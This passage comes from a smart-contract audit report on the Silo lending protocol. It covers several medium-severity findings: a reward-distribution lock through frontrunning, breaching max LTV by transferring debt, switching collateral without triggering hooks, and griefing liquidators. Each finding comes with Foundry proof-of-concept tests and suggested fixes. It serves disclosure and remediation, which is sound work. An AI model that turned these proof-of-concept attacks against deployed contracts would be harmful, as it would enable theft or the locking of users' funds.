// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract MyNFT is ERC721, Ownable {
    uint256 public tokenCounter;
    address public minter;

    constructor(
        string memory name_,
        string memory symbol_,
        address _minter
    ) ERC721(name_, symbol_) Ownable(msg.sender) {
        require(_minter != address(0), "Invalid minter address");
        minter = _minter;
    }

    modifier onlyMinter() {
        require(msg.sender == minter, "Not authorized");
        _;
    }

    /// @notice Mint a new NFT to address `to`.
    /// @dev Only the designated minter (GaugeHookReceiver) can call this.
    function mint(address to) external onlyMinter returns (uint256) {
        tokenCounter++;
        _safeMint(to, tokenCounter);
        return tokenCounter;
    }
}
```

Add this in `silo-core\contracts\utils\hook-receivers\gauge\GaugeHookReceiver.sol`. To demonstrate the actual exploit, what we would have done is put our hook receiver in a separate file rather than any core file. But the deployment system for test cases in the repo are designed to handle GaugeHookReceiver.sol path easily. Any other file would have needed changes to the deployment system. Consider this to be the apparently secure hook receiver a non malicious hook developer would make. This hook receiver mints a "liquidation" NFT in the before repay action:

```
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity 0.8.28;

import {Ownable2Step, Ownable} from "openzeppelin5/access/Ownable2Step.sol";
import {Initializable} from "openzeppelin5/proxy/utils/Initializable.sol";

import {IShareToken} from "silo-core/contracts/interfaces/IShareToken.sol";
import {ISiloConfig} from "silo-core/contracts/interfaces/ISiloConfig.sol";
import {ISilo} from "silo-core/contracts/interfaces/ISilo.sol";
import {Hook} from "silo-core/contracts/lib/Hook.sol";
import {PartialLiquidation} from "../liquidation/PartialLiquidation.sol";
import {IGaugeLike as IGauge} from "../../../interfaces/IGaugeLike.sol";
import {IGaugeHookReceiver, IHookReceiver} from "../../../interfaces/IGaugeHookReceiver.sol";
import {SiloHookReceiver} from "../_common/SiloHookReceiver.sol";
import {Rounding} from "silo-core/contracts/lib/Rounding.sol";
import {SiloMathLib} from "silo-core/contracts/lib/SiloMathLib.sol";

// Import the NFT contract code (adjust the import path as needed)
import "./MyNFT.sol";

/// @notice Silo share token hook receiver for the gauge that deploys and uses an external NFT contract.
contract GaugeHookReceiver is PartialLiquidation, IGaugeHookReceiver, SiloHookReceiver, Ownable2Step,
↪ Initializable {
    using Hook for uint256;
    using Hook for bytes;

    uint24 internal constant _HOOKS_BEFORE_NOT_CONFIGURED = 0;
```

```
IShareToken public shareToken;
mapping(IShareToken => IGauge) public configuredGauges;

// Instance of the external NFT contract.
MyNFT public nft;
address liquidator;

struct RepayData {
    uint256 assets;
    uint256 shares;
    address borrower;
    address repayer;
}


/// @notice Constructor: Deploys the external NFT contract.
/// @dev For a proxy-based deployment the NFT deployment should occur in initialize.
constructor() Ownable(msg.sender) {
    _disableInitializers();
    _transferOwnership(address(0));

}

/// @inheritdoc IHookReceiver
function initialize(ISiloConfig _siloConfig, bytes calldata _data)
    external
    virtual
    initializer
    override(IHookReceiver, PartialLiquidation)
{
    (address owner) = abi.decode(_data, (address));
    require(owner != address(0), "OwnerIsZeroAddress");
    _initialize(_siloConfig);
    _transferOwnership(owner);
         // Deploy the NFT contract with this contract as the minter.
    nft = new MyNFT("My NFT", "MNFT", address(this));


}

/// @inheritdoc IGaugeHookReceiver
function setGauge(IGauge _gauge, IShareToken _shareToken) external virtual onlyOwner {
    require(address(_gauge) != address(0), EmptyGaugeAddress());
    require(_gauge.share_token() == address(_shareToken), WrongGaugeShareToken());

    address configuredGauge = address(configuredGauges[_shareToken]);

    require(configuredGauge == address(0), GaugeAlreadyConfigured());

    address silo = address(_shareToken.silo());

    uint256 tokenType = _getTokenType(silo, address(_shareToken));
    uint256 hooksAfter = _getHooksAfter(silo);

    uint256 action = tokenType | Hook.SHARE_TOKEN_TRANSFER;
    hooksAfter = hooksAfter.addAction(action);

    _setHookConfig(silo, _HOOKS_BEFORE_NOT_CONFIGURED, hooksAfter);

    configuredGauges[_shareToken] = _gauge;

    emit GaugeConfigured(address(_gauge), address(_shareToken));
}

/// @inheritdoc IGaugeHookReceiver
function removeGauge(IShareToken _shareToken) external virtual onlyOwner {
    IGauge configuredGauge = configuredGauges[_shareToken];

    require(address(configuredGauge) != address(0), GaugeIsNotConfigured());
    require(configuredGauge.is_killed(), CantRemoveActiveGauge());

    address silo = address(_shareToken.silo());

    uint256 tokenType = _getTokenType(silo, address(_shareToken));
    uint256 hooksAfter = _getHooksAfter(silo);
```

```
        hooksAfter = hooksAfter.removeAction(tokenType);

        _setHookConfig(silo, _HOOKS_BEFORE_NOT_CONFIGURED, hooksAfter);

        delete configuredGauges[_shareToken];

        emit GaugeRemoved(address(_shareToken));
    }

    function _getTokenType(address _silo, address _shareToken) internal view virtual returns (uint256) {
        (
            address protectedShareToken,
            address collateralShareToken,
            address debtShareToken
        ) = siloConfig.getShareTokens(_silo);

        if (_shareToken == collateralShareToken) return Hook.COLLATERAL_TOKEN;
        if (_shareToken == protectedShareToken) return Hook.PROTECTED_TOKEN;
        if (_shareToken == debtShareToken) return Hook.DEBT_TOKEN;

        revert InvalidShareToken();
    }

    // Added a function for easier setup.
    function setHooksConfig(address silo) public {
        _setHookConfig(silo, 2**4, 0); //setting repay hook to on
    }

    // @inheritdoc IHookReceiver
    // Automatically mints an NFT (via the external NFT contract) to the provided user address.
    // Just a mock function, access control should be added in a real life scenario.
    function beforeAction(address _user, uint256, bytes calldata data)
        external
        virtual
        override(IHookReceiver, PartialLiquidation)
    {
        address liquidator2=liquidator;
        liquidator=address(0);
        //Lets consider the fact that
        // Mint an NFT to the liquidator using the deployed NFT contract.
        nft.mint(liquidator2);
    }

    /// @inheritdoc IHookReceiver
    function afterAction(address _silo, uint256 _action, bytes calldata _inputAndOutput)
        external
        virtual
        override(IHookReceiver, PartialLiquidation)
    {
        IGauge theGauge = configuredGauges[IShareToken(msg.sender)];
        require(theGauge != IGauge(address(0)), "GaugeIsNotConfigured");

        if (theGauge.is_killed()) return; // Ignore if gauge is killed.
        if (!_getHooksAfter(_silo).matchAction(_action)) return; // Just in case.

        Hook.AfterTokenTransfer memory input = _inputAndOutput.afterTokenTransferDecode();
        theGauge.afterTokenTransfer(
            input.sender,
            input.senderBalance,
            input.recipient,
            input.recipientBalance,
            input.totalSupply,
            input.amount
        );

    }

    function hookReceiverConfig(address _silo)
        external
        view
        virtual
        override(PartialLiquidation, IHookReceiver)
        returns (uint24 hooksBefore, uint24 hooksAfter)
    {
        return _hookReceiverConfig(_silo);
    }
    //Noting the liquidator
  function _callShareTokenForwardTransferNoChecks(
        address _silo,
        address _borrower,
        address _receiver,
        uint256 _withdrawAssets,
        address _shareToken,
        ISilo.AssetType _assetType
    ) internal virtual override returns (uint256 shares) {
        if (_withdrawAssets == 0) return 0;

        shares = SiloMathLib.convertToShares(
            _withdrawAssets,
            ISilo(_silo).getTotalAssetsStorage(_assetType),
            IShareToken(_shareToken).totalSupply(),
            Rounding.LIQUIDATE_TO_SHARES,
            ISilo.AssetType(_assetType)
        );

        if (shares == 0) return 0;

        IShareToken(_shareToken).forwardTransferFromNoChecks(_borrower, _receiver, shares);
        liquidator=msg.sender; // noting the liquidator for NFT minting.
    }
}
```

Recommendation: Do not turn off reentrancy protection until after the entire liquidation flow finishes. Or maybe skip the `beforeAction` call is the call is coming from the hook receiver.

3.2.10 Any Malicious Arbitrary Actor Can Cause Temporary or Permanent Lock of Reward Distribution

Submitted by SUPERMAN-I4G

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The `immediateDistribution` function in `SiloIncentivesController.sol` is susceptible to attacks through manipulation of the state of unregistered incentive programs, preventing their creation and locking distributions. Through the `claimRewards` function, an attacker can update the `lastUpdateTimestamp` of an unregistered program (i.e. to non zero), easily bypassing the creation check in `_getOrCreateImmediateDistributionProgram`. This results in reward distributions that are unclaimable and temporary or permanently locked.

Finding Description: The `immediateDistribution` function facilitates immediate distribution of rewards for either registered or unregistered incentive program:

```
function immediateDistribution(address _tokenToDistribute, uint104 _amount) external virtual
↪ onlyNotifierOrOwner {
    if (_amount == 0) return;


    uint256 totalStaked = _shareToken().totalSupply();


    bytes32 programId = _getOrCreateImmediateDistributionProgram(_tokenToDistribute);


    IncentivesProgram storage program = incentivesPrograms[programId];


    // Update the program's internal state to guarantee that further actions will not break it.
    _updateAssetStateInternal(programId, totalStaked);


    uint40 distributionEndBefore = program.distributionEnd;
    uint104 emissionPerSecondBefore = program.emissionPerSecond;


    // Distributing `_amount` of rewards in one second allows the rewards to be added to users' balances
    // even to the active incentives program.
    program.distributionEnd = uint40(block.timestamp);
    program.lastUpdateTimestamp = uint40(block.timestamp - 1);
    program.emissionPerSecond = _amount;


    _updateAssetStateInternal(programId, totalStaked);


    // If we have ongoing distribution, we need to revert the changes and keep the state as it was.
    program.distributionEnd = distributionEndBefore;
    program.lastUpdateTimestamp = uint40(block.timestamp);
    program.emissionPerSecond = emissionPerSecondBefore;
}
```

The function calls an internal `_getOrCreateImmediateDistributionProgram` function which is reponsible to return `programId` for a token if registered or create and return one if unregistered. Basically, the function attempts to create an incentive program if it doesn't exist. This creation is contingent on the `lastUpdate-Timestamp` being zero.

```
function _getOrCreateImmediateDistributionProgram(address _tokenToDistribute)
    internal
    virtual
    returns (bytes32 programId)
{
    string memory programName = Strings.toHexString(_tokenToDistribute);
    programId = getProgramId(programName);


    if (incentivesPrograms[programId].lastUpdateTimestamp == 0) { // <<<
        DistributionTypes.IncentivesProgramCreationInput memory _incentivesProgramInput;


        _incentivesProgramInput.name = programName;
        _incentivesProgramInput.rewardToken = _tokenToDistribute;
        _incentivesProgramInput.emissionPerSecond = 0;
        _incentivesProgramInput.distributionEnd = 0;


        _createIncentiveProgram(_incentivesProgramInput);
    }
}
```

- State Manipulation via `claimRewards(address _to, string[] calldata _programNames)`: Users can claim rewards either through `claimRewards(address _to)` (i.e. based on the incentive programs registered in the system) or `claimRewards(address _to, string[] calldata _programNames)` function (i.e. based on the provided program names). Since the `claimRewards(address _to, string[] call-data _programNames)` function does not validate whether the provided program names correspond to registered incentive programs, this becomes a viable pathway for any malicious actor to manipulate `lastUpdateTimestamp` of any unregistered incentive program to non zero.

```
function claimRewards(address _to, string[] calldata _programNames)
    external
    virtual
    returns (AccruedRewards[] memory accruedRewards)
{
    if (_to == address(0)) revert InvalidToAddress();

    //@audit - no validation check for the provided programs

    bytes32[] memory programIds = _getProgramsIds(_programNames);
    accruedRewards = _accrueRewardsForPrograms(msg.sender, programIds); // <<<
    _claimRewards(msg.sender, msg.sender, _to, accruedRewards);
}
```

When `_accrueRewardsForPrograms` is called, it basically updates the state of reward index for an incentive program (whether registered or not) and for a user i.e. through `_updateAssetStateInternal` and `_updateUserAssetInternal` respectively. However, in the `_updateAssetStateInternal` if there is no change in index for a particular incentive program i.e. `newIndex == oldIndex` the `lastUpdateTimestamp` is updated anyways.

```
function _updateAssetStateInternal(
    bytes32 incentivesProgramId,
    uint256 totalStaked
) internal virtual returns (uint256) {
    uint256 oldIndex = incentivesPrograms[incentivesProgramId].index;
    uint256 emissionPerSecond = incentivesPrograms[incentivesProgramId].emissionPerSecond;
    uint256 lastUpdateTimestamp = incentivesPrograms[incentivesProgramId].lastUpdateTimestamp;
    uint256 distributionEnd = incentivesPrograms[incentivesProgramId].distributionEnd;


    if (block.timestamp == lastUpdateTimestamp) {
        return oldIndex;
    }


    uint256 newIndex = _getIncentivesProgramIndex(
        oldIndex, emissionPerSecond, lastUpdateTimestamp, distributionEnd, totalStaked
    );


    if (newIndex != oldIndex) {
        incentivesPrograms[incentivesProgramId].index = newIndex;
        incentivesPrograms[incentivesProgramId].lastUpdateTimestamp = uint40(block.timestamp);


        emit IncentivesProgramIndexUpdated(getProgramName(incentivesProgramId), newIndex);
    } else {
        incentivesPrograms[incentivesProgramId].lastUpdateTimestamp = uint40(block.timestamp); // <<<
    }


    return newIndex;
}
```

Therefore, since the `_accrueRewardsForPrograms` is called in the `claimRewards(address _to, string[] calldata _programNames)` function, any malicious actor can update the `lastUpdateTimestamp` of an unregistered incentive program to non zero (i.e. current timestamp), even if the program is unregistered and nothing to claim.

- Bypass of Program Creation Check During Immediate Distribution: The `_getOrCreateImmediateDistributionProgram` function relies on `lastUpdateTimestamp == 0` to determine if a program is unregistered. An attacker can frontrun a notifier's `immediateDistribution` call (for unregistered incentive program reward distribution) by invoking `claimRewards(address _to, string[] calldata _programNames)` with the target program name (i.e. a hex string of the program's reward token address) effectively setting `lastUpdateTimestamp` to a non-zero value. This prevents the program from being created even though the distribution is executed.
- Temporary or Permanent Reward Lock: Since the program is never created, users cannot claim rewards for that distribution since reward token for any unregistered incentive program == `address(0)`. Also, `owner` cannot directly create the program later because the program name (a hex string of the

token address) exceeds the 32-byte limit enforced by `createIncentivesProgram`. Therefore this distribution is locked either temporary or permanently.

```
function createIncentivesProgram(DistributionTypes.IncentivesProgramCreationInput memory
↪   _incentivesProgramInput)
    external
    virtual
    onlyOwner
{
    require(bytes(_incentivesProgramInput.name).length <= 32, TooLongProgramName()); // <<<
    _createIncentiveProgram(_incentivesProgramInput);
}
```

Impact:

- Users cannot claim rewards for the affected incentive program.
- Temporary or Permanent stuck of reward token amount distributed.
- The protocol cannot recover from this state.

Proof of Concept: Copy and paste below test in `SiloIncentivesController.t.sol` and run command `FOUNDRY_PROFILE=core-test forge test -vv --ffi --mt test_immediateDistribution_createIncentivesProgram_bug`:

```
function test_immediateDistribution_createIncentivesProgram_bug() public {
    //user1 deposit 100
    uint256 user1Deposit1 = 100e18;
    ERC20Mock(_notifier).mint(user1, user1Deposit1);
    uint256 totalSupply = ERC20Mock(_notifier).totalSupply();

    vm.prank(_notifier);
    _controller.afterTokenTransfer({
        _sender: address(0),
        _senderBalance: 0,
        _recipient: user1,
        _recipientBalance: user1Deposit1,
        _totalSupply: totalSupply,
        _amount: user1Deposit1
    });

    //move time 1 month
    vm.warp(block.timestamp + 30 days);

    //to immediate distribute 1000 token of an un-registered program
    uint256 toDistribute = 1000e18;
    ERC20Mock(_rewardToken).mint(address(_controller), toDistribute);

    //setup - on immediate distribution, below is how program
    //name for an un-registered incentive program is derived
    string memory programName = Strings.toHexString(_rewardToken);
    string[] memory programsNames = new string[](1);
    programsNames[0] = programName;

    //execute attack
    address attacker = vm.addr(419);
    vm.prank(attacker);
    _controller.claimRewards(attacker, programsNames);

    //execute immediate distribution
    vm.prank(_notifier);
    _controller.immediateDistribution(_rewardToken, uint104(toDistribute));
    //distribution executed but failed to create incentive program
    IDistributionManager.IncentiveProgramDetails memory details = _controller.incentivesProgram(programName);
    assertNotEq(details.rewardToken, _rewardToken, "incentive program not created for the reward token");

    //user1 tries to claim rewards for the program
    vm.prank(user1);
    //revert reason: reward token == address zero since incentive
    //program was never created during the immediate distribution
    vm.expectRevert();
    _controller.claimRewards(user1, programsNames);

    //owner comes to rescue i.e. tries to add reward token to fix
    vm.prank(_owner);
    uint40 distributionEnd = uint40(block.timestamp + 1000);
    uint104 emissionPerSecond = 1000e18;
    //reverts since program name created for the earlier distribution too long
    vm.expectRevert(abi.encodeWithSelector(IDistributionManager.TooLongProgramName.selector));
    _controller.createIncentivesProgram(DistributionTypes.IncentivesProgramCreationInput({
        name: programName,
        rewardToken: _rewardToken,
        distributionEnd: distributionEnd,
        emissionPerSecond: emissionPerSecond
    }));
}
```

Recommendation:

1. Ensure `claimRewards` only processes registered programs by checking `rewardToken != address(0)`:

```
    function claimRewards(address _to, string[] calldata _programNames)
        external
        virtual
        returns (AccruedRewards[] memory accruedRewards)
    {
        require(_to != address(0), "InvalidToAddress");

+       bytes32[] memory programIds = _getProgramsIds(_programNames);
+       for (uint256 i = 0; i < programIds.length; i++) {
+           require(incentivesPrograms[programIds[i]].rewardToken != address(0), "Program not
↪   registered");
+       }

        accruedRewards = _accrueRewardsForPrograms(msg.sender, programIds);
        _claimRewards(msg.sender, msg.sender, _to, accruedRewards);
    }
```

2.Refrain from updating `lastUpdateTimestamp` of an incentive program if `newIndex == oldIndex`:

~~~
```diff
function _updateAssetStateInternal(
    bytes32 incentivesProgramId,
    uint256 totalStaked
) internal virtual returns (uint256) {
    uint256 oldIndex = incentivesPrograms[incentivesProgramId].index;
    uint256 emissionPerSecond = incentivesPrograms[incentivesProgramId].emissionPerSecond;
    uint256 lastUpdateTimestamp = incentivesPrograms[incentivesProgramId].lastUpdateTimestamp;
    uint256 distributionEnd = incentivesPrograms[incentivesProgramId].distributionEnd;

    if (block.timestamp == lastUpdateTimestamp) {
        return oldIndex;
    }

    uint256 newIndex = _getIncentivesProgramIndex(
        oldIndex, emissionPerSecond, lastUpdateTimestamp, distributionEnd, totalStaked
    );

    if (newIndex != oldIndex) {
        incentivesPrograms[incentivesProgramId].index = newIndex;
        incentivesPrograms[incentivesProgramId].lastUpdateTimestamp = uint40(block.timestamp);

        emit IncentivesProgramIndexUpdated(getProgramName(incentivesProgramId), newIndex);
-    } else {
-        incentivesPrograms[incentivesProgramId].lastUpdateTimestamp = uint40(block.timestamp);
-    }

    return newIndex;
}
```
~~~

3.2.11 Lack of `isBelowMaxLtv` check in `_afterTokenTransfer` function leads to breaching of max LTV limit

Submitted by ctmotox2, also found by s3rdz0 and ruhum

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: ShareDebtToken's transfer function allows users to breach LTV limits by transferring debt between silos.

Finding Description: While each individual position can be within acceptable `LTV` limits in their respective silos, a user can accumulate debt through transfers that would exceed LTV limit. The issue occurs because the `_afterTokenTransfer` function only checks if the recipient would be `solvent` after the transfer, doesn't verify if the position would exceed the LTV ratio.

```
function _afterTokenTransfer(address _sender, address _recipient, uint256 _amount) internal virtual override {
    IShareToken.ShareTokenStorage storage $ = ShareTokenLib.getShareTokenStorage();

    // if we are minting or burning, Silo is responsible to check all necessary conditions
    // if we are NOT minting and not burning, it means we are transferring
    // make sure that _recipient is solvent after transfer
    if (ShareTokenLib.isTransfer(_sender, _recipient) && $.transferWithChecks) {
        $.siloConfig.accrueInterestForBothSilos();
        ShareTokenLib.callOracleBeforeQuote($.siloConfig, _recipient);
        require($.silo.isSolvent(_recipient), IShareToken.RecipientNotSolventAfterTransfer());
    //@audit LTV check is missing after transfer, leads to breaching of LTV threshold
    }

    ShareToken._afterTokenTransfer(_sender, _recipient, _amount);
}
```

This creates a scenario where users can build up positions that is more than `MaxLtv`, breaking Silo's risk management system. An example scenario has been demonstrated and proved in the proof of concept section to breach the LTV threshold.

Impact Explanation:

- Medium.
- LTV threshold is breached.

Likelihood Explanation:

- Medium.
- Multiple actions needed to exceed the threshold, however they are easy. When attempted, can be done easily.

Proof of Concept: In the proof of concept, following scenario is illustrated. Assume that User 1 and User 2 addresses belong to same person.

1. User 1 deposits 100 assets to the Silo.
2. User 2 deposits 100 assets to the Silo.
3. User 1 borrows 80 assets.
4. User 2 borrows 10 assets.
5. User 1 gives approval to User 2 for debt token transfer.
6. Transfer successfully passes. User 1's LTV is now 90% where `MaxLtv` is 85%.

Please paste below test to `ShareDebtToken.t.sol`, add `import {SiloSolvencyLib} from "silo-core/contracts/lib/SiloSolvencyLib.sol";`:

- `FOUNDRY_PROFILE=core-test forge test --ffi -vvvv --mt test_bypass_liquidation_threshold_via_debt_transfer`:

```
function test_bypass_liquidation_threshold_via_debt_transfer() public {
    address user1 = makeAddr("user1");
    address user2 = makeAddr("user2");
    uint256 depositAmount = 100e18;

    // Setup deposits for both users
    _depositCollateral(depositAmount, user1, SAME_ASSET); // User1: Deposit in silo1
    _depositCollateral(depositAmount, user2, SAME_ASSET); // User2: Deposit in silo1

    // Setup liquidity for borrowing
    _depositForBorrow(200e18, makeAddr("depositor"));

    // Users borrow (should succeed as they're within LTV)
```

```
        _borrow(80e18, user1, SAME_ASSET);
        _borrow(10e18, user2, SAME_ASSET);

        // User1 approves receiving debt from User2
        vm.prank(user1);
        shareDebtToken.setReceiveApproval(user2, 10e18);

        // User2 transfers their debt to User1
        vm.prank(user2);
        shareDebtToken.transfer(user1, 10e18);

        // Verify the final position
        uint256 user1Debt = shareDebtToken.balanceOf(user1);
        assertEq(user1Debt, 90e18, "User1 should have 90e18 total debt");

        // Print stats and verify LTV
        _printStats(siloConfig, user1);
        ISiloConfig.ConfigData memory collateralConfig = siloConfig.getConfig(address(silo1));
        ISiloConfig.ConfigData memory debtConfig = siloConfig.getConfig(address(silo1));
        uint256 ltv = SiloSolvencyLib.getLtv(
            collateralConfig, debtConfig, user1, ISilo.OracleType.MaxLtv, ISilo.AccrueInterestInMemory.Yes,
            ↪  user1Debt
        );

        emit log_named_uint("Current LTV", ltv);
        emit log_named_uint("Max LTV", collateralConfig.maxLtv);
        emit log_named_uint("Final Debt", user1Debt);

        assertTrue(ltv > collateralConfig.maxLtv, "Position should be above maxLTV");
    }
```

Test outputs:

```
Current LTV: 900000000000000000.
Max LTV: 850000000000000000.
Final Debt: 90000000000000000000.

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 48.21ms (3.14ms CPU time).
```

As can be seen, Max LTV is successfully breached as the result of this scenario.

Recommendation: `isBelowMaxLtv` check should be done in `_afterTokenTransfer` instead of `isSolvent`.

3.2.12 Switching collateral silo is possible without triggering hooks

Submitted by ctmotox2

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The protocol allows users to switch their collateral silo through borrow functions without triggering the expected collateral silo switch hooks, bypassing the hook logic.

Finding Description: The protocol has a dedicated function `switchCollateralToThisSilo()` for changing a user's collateral silo, which properly implements hooks for before and after the switch. However, the same collateral silo switch can occur implicitly during borrow operations without triggering these hooks. When a user has collateral in one silo (`silo0`) and executes a `borrowSameAsset` followed by a regular `borrow`, the collateral silo is switched from `silo0` to `silo1` without executing switch hooks that supposed to be executed while calling `switchCollateralToThisSilo`.

When a user:

1. Has collateral in `silo0`.
2. Executes `borrowSameAsset` on `silo0`.

```
  siloConfig.setThisSiloAsCollateralSilo(_args.borrower);
```

3. Executes `borrow` on silo0 for the same asset:

```
   siloConfig.setOtherSiloAsCollateralSilo(_args.borrower);
```

4. The collateral silo is automatically switched from silo0 to silo1 without triggering the `SWITCH_COLLATERAL` hooks that would normally be called through the proper `switchCollateralToThisSilo()` function.

Impact Explanation: Medium.

- Creates inconsistency in how collateral silo switches are handled.
- Allows bypassing hooks.

Likelihood Explanation: Medium.

- Likelihood depends on the hooks that will be bypassed. Therefore I will name it as Medium.

Proof of Concept: In the following test function, the scenario in the description section has been demonstrated. In the end, collateral silo has been successfully switched without triggering the related hook.

Please paste this test to `Borrow.i.sol` and run the following command:

`FOUNDRY_PROFILE=core-test forge test -vvvv --ffi --mt test_borrow_sameAsset_then_borrow_switches_collateral`.

`import {Silo} from "silo-core/contracts/Silo.sol";`

```
function test_borrow_sameAsset_then_borrow_switches_collateral() public {
    address user1 = makeAddr("user1");
    address user2 = makeAddr("user2");
    uint256 depositAssets = 100e18;
    address borrower = user1;

    // Initial deposit in silo0 as collateral
    _deposit(depositAssets, borrower);
    _depositForBorrow(depositAssets, borrower);

    // First use borrowSameAsset on silo0
    uint256 borrowAmount = 10e18;
    vm.prank(user1);
    silo0.borrowSameAsset(borrowAmount, borrower, borrower);

    // Verify collateral is in silo0
    assertEq(siloConfig.borrowerCollateralSilo(borrower), address(silo0));

    // Now borrow from silo0 which should implicitly switch collateral to silo1
    vm.prank(user1);
    silo0.borrow(borrowAmount, borrower, borrower);

    // Verify collateral was switched to silo1
    assertEq(siloConfig.borrowerCollateralSilo(borrower), address(silo1));
}
```

```
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 54.43ms (2.52ms CPU time).

Ran 1 test suite in 818.16ms (54.43ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests).
```

Recommendation: Implement the same hook calls in the borrow functions when they perform a silo switch.

3.2.13 Liquidators can be grifted when liquidating positions with bad debt

Submitted by 0xStalin, also found by LordAlive

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: Liquidators can be grifted by other liquidators or malicious actors who frontrun their tx and liquidate just enough debt to seize all the borrower's collateral and leave outstanding debt without any more collateral to be seized. The transaction of the liquidator who was willing to liquidate without making any profit would be executed and the incurred loss would be way bigger than what he was willing to accept.

- Because the transaction of this liquidator would liquidate the remaining debt without seizing any collateral, the liquidator effectively incurred the loss of all the outstanding debt.

Finding Description: As part of the liquidation process, there is a special case when a borrower has caused bad debt (LT > 100%), in this case, the amount of debt that can be liquidated can be anything, and, the amount of collateral to be seized is computed based on the debt that is being liquidated, the collateral to seize can include liquidationFees, and is capped at the borrower's full collateral.

- `PartialLiquidationLib.liquidationPreview()`:

```
function liquidationPreview( // solhint-disable-line function-max-lines
    // ...
)
    // ...
{
    // ...

    //@audit-info => When there is bad debt, possible to liquidate any amount
    if (_ltvBefore >= _BAD_DEBT) {
        // in case of bad debt, we allow for any amount
        debtToRepay = _params.maxDebtToCover > _borrowerDebtAssets ? _borrowerDebtAssets :
        ↪  _params.maxDebtToCover;
        debtValueToRepay = valueToAssetsByRatio(debtToRepay, _borrowerDebtValue, _borrowerDebtAssets);
    }

    // ...
}
```

The fact that any amount of debt can be liquidated (when liquidating bad debt), and, the special case on the `PartialLiquidationExecLib.liquidationPreview()` that allows liquidating debt even though there is no more collateral on the position, opens the doors to grifting liquidators who are willing to liquidate bad debt without earning a profit (renouncing to the liquidationFees), or even willing to liquidate at a small loss to get rid off the bad debt from the Silo Market.

As mentioned in the Likelihood section, there is no need for a malicious actor to frontrun an honest liquidator, this can occur even between honest liquidators, please see the Likelihood section for a detailed example.

- `PartialLiquidationExecLib.liquidationPreview()`:

```
function liquidationPreview( // solhint-disable-line function-max-lines, code-complexity
    // ...
)
    // ...
{
    // ...

    //@audit-info => When borrower has no more collateral, possible to liquidate any debt in exchange
    ↪  for 0 collateral
    if (sumOfCollateralAssets == 0) {
        return (
            0,
            _params.maxDebtToCover > _ltvData.borrowerDebtAssets
                ? _ltvData.borrowerDebtAssets
                : _params.maxDebtToCover,
            bytes4(0) // no error
        );
    }
    // ...
}
```

As we'll see in the Proof of Concept section, a liquidator who was willing to liquidate at a small loss of 3k USD, ends up incurring a loss of +10k USD:

- The values used on the coded PoC were to simplify the coding of the PoC, and in the PoC, the first liquidator was willing to incur a small loss, but, there can be cases when the liquidator would not need to incur any losses, for example, when the collateral is worth the same as the debt, in this case, the seized collateral would make up for the repaid debt, and the liquidator was able to get rid off the bad debt from the SiloMarket.

Impact Explanation: High because liquidator's funds are at risk.

Likelihood Explanation: Medium because the only pre-requisite for this bug to occur is that bad debt is accrued on loans.

The frontrunning of a liquidation does not necessarily need to be made by a malicious actor, even normal liquidators who are not willing to liquidate the bad debt without profits can only liquidate just enough debt to seize all the position's collateral, this will leave the borrower with debt and no collateral left (same as in the PoC), and, the tx of the liquidator who was willing to liquidate all the debt even though he would not make a profit (or even at a small loss) would repay all the remaining debt without seizing any collateral, effectively incurring a loss way bigger than he was willing to take.

Proof of Concept: Before going to the code for the PoC, let's explain what we'll see on the proof of concept.

We will see a SiloMarket for WBTC WETH, in which a borrower deposited 100k worth of WBTC as collateral to take a loan of 80k worth of WETH.

- In the proof of concept is simulated that the price of WBTC dropped and the price of WETH increased, which causes the position to fall into bad debt territory, LT > 100%.

1. A liquidator who is willing to liquidate the whole debt checks how much collateral would receive for liquidating the debt, and, it validates that the loss for getting rid of the bad debt is within an acceptable range, in this case, 3k USD.
2. The grifter frontruns the liquidator and proceeds to liquidate just enough debt to seize all the borrower's collateral.
3. After the grifter's tx, the liquidator tx is executed, and, all the remaining debt is liquidated in exchange for 0 collateral.

The result is that the liquidator liquidates all the remaining debt (~10k USD) in exchange for 0 collateral. All the collateral was seized by the grifter's tx, who only liquidated 35.2 WETH from the total 40 WETH of debt.

- This means that the liquidator incurred a loss 3x bigger than what he was willing to accept.

Now, let's proceed with the code and instructions to execute the proof of concept.

- The code for the proof of concepy can be found on gist 93e1f03c.

  Please follow the instructions written at the end of the gist. Once the files have been configured, execute the proof of concept with the next command:

- `FOUNDRY_PROFILE=core-test forge test -vvvv --ffi --mt test_poc_liquidatorsCanBeGrifted-WhenLiquidatingBadDebt`.

Recommendation: Allow liquidators to specify a minimum amount of collateral they are willing to accept for the liquidation, and, if the collateral that can be given to them is less than what they specified, revert the transaction.

~~~
- Add a case to handle an input that would mean the liquidator is willing to accept any amount of collateral.
↪  For example, if the liquidator inputs `0` as the minimum amount, then, skip the check if the amount of
↪  collateral that can be seized is at least what they want to receive.

- [`PartialLiquidation.liquidationCall()`](https://cantina.xyz/code/18f1e37b-9ac2-4ba9-b32e-50344500c1a7/silo-
↪  core/contracts/utils/hook-receivers/liquidation/PartialLiquidation.sol#L51-L174):

```diff
  function liquidationCall( // solhint-disable-line function-max-lines, code-complexity
      // ...
      bool _receiveSToken,
+     uint256 minimumCollateralToReceive
  )
      external
      virtual
      returns (uint256 withdrawCollateral, uint256 repayDebtAssets)
  {
      // ...

      (
          params.withdrawAssetsFromCollateral, params.withdrawAssetsFromProtected, repayDebtAssets,
          ↪  params.customError
      ) = PartialLiquidationExecLib.getExactLiquidationAmounts(
          // ...
      );

+     uint256 totalCollateralToSeize = params.withdrawAssetsFromCollateral + params.withdrawAssetsFromProtected;
+     if(minimumCollateralToReceive != 0 && totalCollateralToSeize < minimumCollateralToReceive)
↪  revert("Collateral available to seize is less than the minimum the liquidator wants");

      // ...
  }
```
~~~

3.2.14 Loss of Funds to user, as the user index is updated to the new index of the program, without giving any rewards

Submitted by ParthMandale

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The reward calculation mechanism in the DistributionManager contract can result in users receiving zero rewards due to integer division truncation, leading user to a permanent loss of rewards for that particular new index of incentives Program.

Important Note: Here according to the comments of the `SiloIncentivesControllerGaugeLike.sol` in the constructor it says:

```
